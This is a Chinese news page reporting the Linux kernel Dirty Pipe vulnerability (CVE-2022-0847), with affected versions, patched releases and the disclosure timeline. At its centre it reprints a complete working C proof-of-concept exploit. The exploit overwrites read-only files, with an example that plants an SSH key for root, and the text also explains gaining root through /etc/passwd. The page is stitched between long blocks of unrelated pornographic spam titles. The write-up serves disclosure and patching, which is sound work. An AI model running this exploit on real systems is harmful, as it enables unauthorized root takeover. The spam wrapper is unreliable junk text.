精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

Linux 內(nèi)核最新高危提權(quán)漏洞:臟管道 (Dirty Pipe)

安全 漏洞
來自 CM4all 的安全研究員 Max Kellermann 披露了一個 Linux 內(nèi)核的高危提權(quán)漏洞:臟管道 (Dirty Pipe)。漏洞編號為 CVE-2022-0847。

來自 CM4all 的安全研究員 Max Kellermann 披露了一個 Linux 內(nèi)核的高危提權(quán)漏洞:臟管道 (Dirty Pipe)。漏洞編號為 CVE-2022-0847。

據(jù)介紹,此漏洞自 5.8 版本起就已存在。非 root 用戶通過注入和覆蓋只讀文件中的數(shù)據(jù),從而獲得 root 權(quán)限。因為非特權(quán)進程可以將代碼注入 root 進程。

Max 表示,“臟管道”漏洞與幾年前的“臟?!鳖愃疲圆捎昧讼嗨频拿?,不過前者更容易被利用。此外,該漏洞目前已被黑客利用,研究人員建議盡快升級版本,Linux 5.16.11、5.15.25 和 5.10.102 均已修復(fù)了此漏洞。

Max 在文章中提供了漏洞 PoC。

/* SPDX-License-Identifier: GPL-2.0 */
/*
* Copyright 2022 CM4all GmbH / IONOS SE
*
* author: Max Kellermann <max.kellermann@ionos.com>
*
* Proof-of-concept exploit for the Dirty Pipe
* vulnerability (CVE-2022-0847) caused by an uninitialized
* "pipe_buffer.flags" variable. It demonstrates how to overwrite any
* file contents in the page cache, even if the file is not permitted
* to be written, immutable or on a read-only mount.
*
* This exploit requires Linux 5.8 or later; the code path was made
* reachable by commit f6dd975583bd ("pipe: merge
* anon_pipe_buf*_ops"). The commit did not introduce the bug, it was
* there before, it just provided an easy way to exploit it.
*
* There are two major limitations of this exploit: the offset cannot
* be on a page boundary (it needs to write one byte before the offset
* to add a reference to this page to the pipe), and the write cannot
* cross a page boundary.
*
* Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'
*
* Further explanation: https://dirtypipe.cm4all.com/
*/

#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>

#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif

/**
* Create a pipe where all "bufs" on the pipe_inode_info ring have the
* PIPE_BUF_FLAG_CAN_MERGE flag set.
*/
static void prepare_pipe(int p[2])
{
if (pipe(p)) abort();

const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);
static char buffer[4096];

/* fill the pipe completely; each pipe_buffer will now have
the PIPE_BUF_FLAG_CAN_MERGE flag */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
write(p[1], buffer, n);
r -= n;
}

/* drain the pipe, freeing all pipe_buffer instances (but
leaving the flags initialized) */
for (unsigned r = pipe_size; r > 0;) {
unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;
read(p[0], buffer, n);
r -= n;
}

/* the pipe is now empty, and if somebody adds a new
pipe_buffer without initializing its "flags", the buffer
will be mergeable */
}

int main(int argc, char **argv)
{
if (argc != 4) {
fprintf(stderr, "Usage: %s TARGETFILE OFFSET DATA\n", argv[0]);
return EXIT_FAILURE;
}

/* dumb command-line argument parser */
const char *const path = argv[1];
loff_t offset = strtoul(argv[2], NULL, 0);
const char *const data = argv[3];
const size_t data_size = strlen(data);

if (offset % PAGE_SIZE == 0) {
fprintf(stderr, "Sorry, cannot start writing at a page boundary\n");
return EXIT_FAILURE;
}

const loff_t next_page = (offset | (PAGE_SIZE - 1)) + 1;
const loff_t end_offset = offset + (loff_t)data_size;
if (end_offset > next_page) {
fprintf(stderr, "Sorry, cannot write across a page boundary\n");
return EXIT_FAILURE;
}

/* open the input file and validate the specified offset */
const int fd = open(path, O_RDONLY); // yes, read-only! :-)
if (fd < 0) {
perror("open failed");
return EXIT_FAILURE;
}

struct stat st;
if (fstat(fd, &st)) {
perror("stat failed");
return EXIT_FAILURE;
}

if (offset > st.st_size) {
fprintf(stderr, "Offset is not inside the file\n");
return EXIT_FAILURE;
}

if (end_offset > st.st_size) {
fprintf(stderr, "Sorry, cannot enlarge the file\n");
return EXIT_FAILURE;
}

/* create the pipe with all flags initialized with
PIPE_BUF_FLAG_CAN_MERGE */
int p[2];
prepare_pipe(p);

/* splice one byte from before the specified offset into the
pipe; this will add a reference to the page cache, but
since copy_page_to_iter_pipe() does not initialize the
"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */
--offset;
ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);
if (nbytes < 0) {
perror("splice failed");
return EXIT_FAILURE;
}
if (nbytes == 0) {
fprintf(stderr, "short splice\n");
return EXIT_FAILURE;
}

/* the following write will not create a new pipe_buffer, but
will instead write into the page cache, because of the
PIPE_BUF_FLAG_CAN_MERGE flag */
nbytes = write(p[1], data, data_size);
if (nbytes < 0) {
perror("write failed");
return EXIT_FAILURE;
}
if ((size_t)nbytes < data_size) {
fprintf(stderr, "short write\n");
return EXIT_FAILURE;
}

printf("It worked!\n");
return EXIT_SUCCESS;
}

據(jù)介紹,本地用戶可以將自己的數(shù)據(jù)注入敏感的只讀文件,消除限制或修改配置以獲得更高的權(quán)限。有研究人員通過利用該漏洞修改 /etc/passwd 文件進行了舉例,修改后可直接取消 root 用戶的密碼,然后普通用戶使用 su root 命令即可獲得 root 賬戶的訪問權(quán)限。還有研究人員發(fā)現(xiàn),使用 /usr/bin/su 命令刪除 /tmp/sh 中的 root shell 可以更容易獲取 root 權(quán)限。

最后,建議各位檢查所使用的 Linux 服務(wù)器的內(nèi)核版本,若是 5.8 以上的版本請盡快升級。

臟管道 (Dirty Pipe) 漏洞時間線:

  • 2022-02-20:向 Linux 內(nèi)核安全團隊發(fā)送錯誤報告、漏洞利用和補丁
  • 2022-02-21:在 Google Pixel 6 上復(fù)現(xiàn)錯誤,并向 Android 安全團隊發(fā)送錯誤報告
  • 2022-02-21: 按照 Linus Torvalds、Willy Tarreau 和 Al Viro 的建議,將補丁發(fā)送到 LKML(不含漏洞詳細信息)
  • 2022-02-23:發(fā)布包含錯誤修復(fù)的 Linux 穩(wěn)定版本 (5.16.11、5.15.25、5.10.102)
  • 2022-02-24:Google 將錯誤修復(fù)合并到 Android 內(nèi)核
  • 2022-02-28:通知 linux-distros 郵件列表
  • 2022-03-07:公開披露

本文轉(zhuǎn)自O(shè)SCHINA

本文標(biāo)題:Linux 內(nèi)核最新高危提權(quán)漏洞:臟管道 (Dirty Pipe)

本文地址:https://www.oschina.net/news/185559/linux-dirty-pipe-vulnerability

責(zé)任編輯:未麗燕 來源: 開源中國
相關(guān)推薦

2022-03-10 09:41:15

漏洞Linux內(nèi)核

2015-03-13 10:06:55

2009-02-04 11:24:12

2015-04-16 15:14:54

2015-07-13 09:18:20

2011-03-21 10:46:04

2010-12-10 15:23:49

Linux漏洞

2025-04-18 10:17:47

2013-11-29 15:34:00

2023-06-11 17:24:26

2021-05-01 20:52:30

漏洞網(wǎng)絡(luò)安全網(wǎng)絡(luò)攻擊

2023-09-11 06:59:59

2025-06-18 16:40:33

終端安全漏洞網(wǎng)絡(luò)安全

2009-09-02 18:33:45

2013-07-18 15:09:27

2009-08-17 08:47:07

2009-09-01 09:31:32

2009-04-24 14:08:25

2009-04-24 14:34:51

2020-11-16 10:55:41

Windows
點贊
收藏

51CTO技術(shù)棧公眾號

在线观看污视频| 88xx成人精品| 女人扒开腿免费视频app| 暖暖在线中文免费日本| 成人免费毛片片v| 国产成人精品av在线| 久久爱一区二区| 91蝌蚪精品视频| 日本高清不卡aⅴ免费网站| 一区二区三区四区视频在线观看| 午夜美女福利视频| 可以看av的网站久久看| 九九精品视频在线| 亚洲AV无码国产成人久久| 欧美日韩午夜电影网| 欧美视频二区36p| 亚洲v欧美v另类v综合v日韩v| 午夜精品久久久久久久第一页按摩| 亚洲欧美日本视频在线观看| 久久亚洲精品一区| 一级片视频免费看| 国产成人夜色高潮福利影视| 欧美性xxxx极品hd欧美风情| 黄色特一级视频| 青青草超碰在线| 国产精品一区2区| 国产91|九色| 欧美日韩免费做爰视频| 视频在线不卡免费观看| 亚洲美女又黄又爽在线观看| 欧美在线a视频| 不卡亚洲精品| 亚洲一二三四区不卡| 一区二区三区在线视频看| 婷婷丁香一区二区三区| 国产91精品久久久久久久网曝门| 国产mv久久久| 国产高潮久久久| 欧美日韩一卡| 久久久国产精彩视频美女艺术照福利| 亚洲自拍偷拍一区二区| 在线精品国产亚洲| 欧美精品第1页| 精品久久久久久久无码| 在线免费av资源| 亚洲第一搞黄网站| 精品国产三级a∨在线| shkd中文字幕久久在线观看| 久久综合九色综合97婷婷女人| 豆国产97在线| 亚洲黄色精品视频| 国产毛片精品视频| 亚洲自拍偷拍色片视频| 97人妻精品一区二区三区| 日本午夜一本久久久综合| 欧美一级视频在线观看| 国产一级精品视频| 亚洲影视在线| 日韩免费不卡av| 狠狠人妻久久久久久| 日韩一级大片| 欧美亚洲激情视频| 黄色片网站在线免费观看| 国产精品普通话对白| 欧美亚洲成人免费| 中文字幕在线观看视频网站| 亚洲一区区二区| 奇米影视亚洲狠狠色| 亚洲男人的天堂在线视频| 99精品免费视频| 青草热久免费精品视频| 国产污视频网站| 免费欧美日韩国产三级电影| 国产精品偷伦视频免费观看国产 | 日本精品久久久久影院| 日韩熟女一区二区| 蜜臀久久久久久久| 91免费在线视频| 亚洲第一色网站| 99re6这里只有精品视频在线观看| 麻豆av一区二区三区久久| 欧美日韩激情视频一区二区三区| 国产欧美日韩视频在线观看| 亚洲免费不卡| 色呦呦在线观看视频| 亚洲一二三区视频在线观看| a级黄色一级片| 朝桐光一区二区| 欧美一区二区精品在线| 香蕉视频污视频| 国产毛片一区二区三区| 久久久成人的性感天堂| 日韩三级免费看| 日韩成人av影视| 147欧美人体大胆444| 亚洲欧美综合一区二区| 国产精品久久三| 欧美又粗又长又爽做受| 国产综合色区在线观看| 91精品国产综合久久精品图片| 亚洲av熟女高潮一区二区| 国产精品午夜一区二区三区| 欧美成人午夜视频| 五月天婷婷导航| 国产成人在线看| 日产国产精品精品a∨| 91cn在线观看| 欧美综合欧美视频| 欧美图片自拍偷拍| 日本精品三区| 777午夜精品福利在线观看| 一区二区的视频| 久久综合久久综合亚洲| 国产精品第157页| 国产一区二区三区影视| 日韩国产精品视频| 欧美色图一区二区| 男女视频一区二区| 快播亚洲色图| ****av在线网毛片| 91精品久久久久久蜜臀| 欧美高清性xxxx| 黑丝一区二区三区| 91精品国产自产在线观看永久| 天堂av在线资源| 樱桃国产成人精品视频| 男女视频在线看| 奇米狠狠一区二区三区| 午夜精品久久17c| 精品久久在线观看| 国产精品久久久久久久裸模| 97视频在线免费播放| 国产精品久久久久av蜜臀| 久久国产精品电影| 国产精品系列视频| 国产精品欧美一区喷水| 热久久精品免费视频| 婷婷综合福利| 97久久久久久| 日日躁夜夜躁白天躁晚上躁91| 亚洲欧美色一区| 精品一卡二卡三卡| 美女久久99 | a屁视频一区二区三区四区| 国产视频久久久久久久| 国产精品久久久久久久妇| 成人教育av在线| 青草视频在线观看视频| 天堂久久av| 欧美激情在线观看视频| 亚洲第一免费视频| 亚洲成人av一区二区三区| 无码人妻久久一区二区三区蜜桃| 欧美.www| 国产在线精品一区| 黄色软件视频在线观看| 国产视频精品久久久| 亚洲欧美自拍视频| 国产欧美日韩在线| 欧美一级xxxx| 一区二区日韩欧美| 成人精品水蜜桃| 黄色污网站在线观看| 日韩国产欧美区| 国产美女www| 国产精品女同一区二区三区| 潘金莲激情呻吟欲求不满视频| 99久久夜色精品国产亚洲96 | 8x8x最新地址| 国产韩国精品一区二区三区| 91色在线观看| 不卡的av影片| 亚洲欧美日韩高清| 中文字幕日产av| 亚洲欧美一区二区三区极速播放| 18禁一区二区三区| 91久久夜色精品国产九色| 蜜桃91精品入口| 99欧美精品| 久久99热精品| 欧美日韩视频精品二区| 欧美精品乱码久久久久久按摩| 欧美日韩综合一区二区| 91女人视频在线观看| 亚洲一区在线不卡| 欧美精品综合| 欧美日韩精品久久| 北岛玲精品视频在线观看| 欧美日韩aaaa| 毛片在线播放网站| 欧美一区二区三区男人的天堂| 日本在线视频中文字幕| 中文字幕精品综合| 一级黄色大片免费看| 久久一本综合频道| 国产美女视频免费| 亚洲欧美日本伦理| 成人免费淫片aa视频免费| а√在线中文在线新版| 中文字幕国产精品久久| 欧美熟妇另类久久久久久不卡| 91福利在线观看| 国产亚洲精久久久久久无码77777| 久久久www成人免费毛片麻豆 | 一区二区三区高清在线观看| 青青久久av北条麻妃黑人| 国产成人在线视频免费观看| 日韩激情片免费| 国产丰满美女做爰| 在线看国产一区| 日本一区二区三区免费视频| 一色屋精品亚洲香蕉网站| av网站有哪些| 国产91丝袜在线18| 日本人69视频| 久久先锋资源| 男人日女人逼逼| 综合激情在线| 亚洲日本一区二区三区在线不卡| 欧亚精品一区| y111111国产精品久久婷婷| 99只有精品| 国产成人亚洲综合91精品| 丁香高清在线观看完整电影视频 | 欧美电影网址| 91极品视频在线| 污视频在线免费观看网站| 中文字幕日韩高清| 欧美少妇另类| 亚洲精品国产福利| 丰满少妇高潮在线观看| 56国语精品自产拍在线观看| 国产精品xxxxxx| 一本久久a久久精品亚洲| 日韩三级一区二区三区| 一区二区三区美女| 97成人资源站| 亚洲欧美成人一区二区三区| 成人精品一二三区| 欧美国产一区在线| 在线观看亚洲大片短视频| 久久久精品国产免大香伊 | 亚洲视频一区在线| 久久久久麻豆v国产| 欧美激情在线一区二区| 舐め犯し波多野结衣在线观看| 91老师片黄在线观看| av网站有哪些| 久久久久久久一区| 国产精品久久无码| 99精品偷自拍| 亚洲第一页av| 国产日韩欧美精品电影三级在线| 30一40一50老女人毛片| 91免费看视频| 一道本在线观看| 欧美激情一区在线| 美国一级片在线观看| 一区二区中文视频| 国产精品三区在线观看| 亚洲免费高清视频在线| 少妇久久久久久被弄高潮| 一区二区三区在线视频免费| 久久激情免费视频| 五月综合激情婷婷六月色窝| 天堂网av手机版| 色琪琪一区二区三区亚洲区| 波多野结衣电车痴汉| 欧美日韩国产一级| av观看在线免费| 亚洲精品一区二区三区99| 视频一区二区在线播放| 国产午夜精品免费一区二区三区 | jvid福利在线一区二区| 五月天久久综合网| 亚洲一区 二区 三区| 韩日视频在线观看| 亚洲欧美大片| 中文字幕第17页| 成人丝袜18视频在线观看| 变态另类丨国产精品| 国产精品网站一区| 欧美黄色免费看| 日本乱人伦aⅴ精品| 一区不卡在线观看| 日韩国产精品一区| 九色porny丨首页在线| 7m精品福利视频导航| 电影中文字幕一区二区| 精品午夜一区二区| 91精品一区国产高清在线gif | 亚洲不卡系列| 1卡2卡3卡精品视频| 亚洲精品3区| 日韩video| 丝袜亚洲另类丝袜在线| 九色91porny| 国产欧美精品一区二区色综合| 激情五月婷婷在线| 欧美性猛交xxxxxxxx| 全部免费毛片在线播放一个| 这里只有精品久久| 91视频欧美| 91美女片黄在线观| 女厕嘘嘘一区二区在线播放| 神马午夜伦理影院| 奇米777欧美一区二区| 亚洲精品无码一区二区| 国产精品日韩精品欧美在线| 亚洲天堂日韩av| 777欧美精品| av大片在线观看| 91av成人在线| 日韩三级久久| 偷拍盗摄高潮叫床对白清晰| 性8sex亚洲区入口| 亚洲av无码成人精品区| 中文字幕日本乱码精品影院| 潘金莲一级淫片aaaaaa播放| 欧美精品一区男女天堂| gogo在线观看| 国产精自产拍久久久久久| 蜜臀91精品国产高清在线观看| 精品成在人线av无码免费看| 精品无人区卡一卡二卡三乱码免费卡| 亚洲熟妇无码av| 五月婷婷激情综合| 国产极品久久久| 久久午夜a级毛片| 国产香蕉久久| 五月天丁香综合久久国产| 久久久久国内| 国产精品无码久久久久一区二区| 亚洲国产精品久久不卡毛片| 精品国自产拍在线观看| 不卡av在线网站| 亚洲一区二区三区久久久| 五月婷婷一区| 日本不卡免费在线视频| 国产又粗又猛又爽又黄av| 色欧美片视频在线观看在线视频| 亚洲av成人精品日韩在线播放| 国模私拍一区二区三区| а√中文在线天堂精品| 麻豆一区二区三区在线观看| 国产综合成人久久大片91| 麻豆精品国产免费| 9191成人精品久久| 中文字幕中文字幕在线十八区| 亚洲精品免费av| 欧美.www| 一级黄色片毛片| 欧美色视频日本版| 丁香在线视频| 国产在线日韩在线| 亚洲成人一区| 在线播放av网址| 午夜精品久久久久久久99樱桃| 五月天婷婷激情网| 日本国产欧美一区二区三区| 国际精品欧美精品| 日本黄大片一区二区三区| 国产精品久久久久久久蜜臀 | 中文字幕超碰在线| 亚洲欧洲日本专区| 伊人久久高清| 色乱码一区二区三区熟女| 国产乱子轮精品视频| 国产在线视频二区| 亚洲免费精彩视频| 成人激情视屏| 永久免费看av| 91视频国产资源| 亚洲午夜无码久久久久| 久久精品久久久久久| 极品尤物一区| av视屏在线播放| 亚洲视频免费在线观看| 丰满人妻一区二区三区无码av | 波多野结衣一区二区三区免费视频| 搞av.com| 国产精品无码永久免费888| www.四虎在线观看| 琪琪亚洲精品午夜在线| 午夜精品视频一区二区三区在线看| 韩国黄色一级片| 色婷婷亚洲婷婷| av在线app| 欧美久久综合性欧美| 精品系列免费在线观看| 国产 日韩 欧美 在线| 日韩在线观看精品| 久久97久久97精品免视看秋霞| 91插插插插插插插插| 亚洲地区一二三色| 日本中文字幕电影在线免费观看| 国产精品一区二区三区免费| 日韩成人av影视| 国产午夜精品无码一区二区| 色噜噜狠狠色综合网图区 |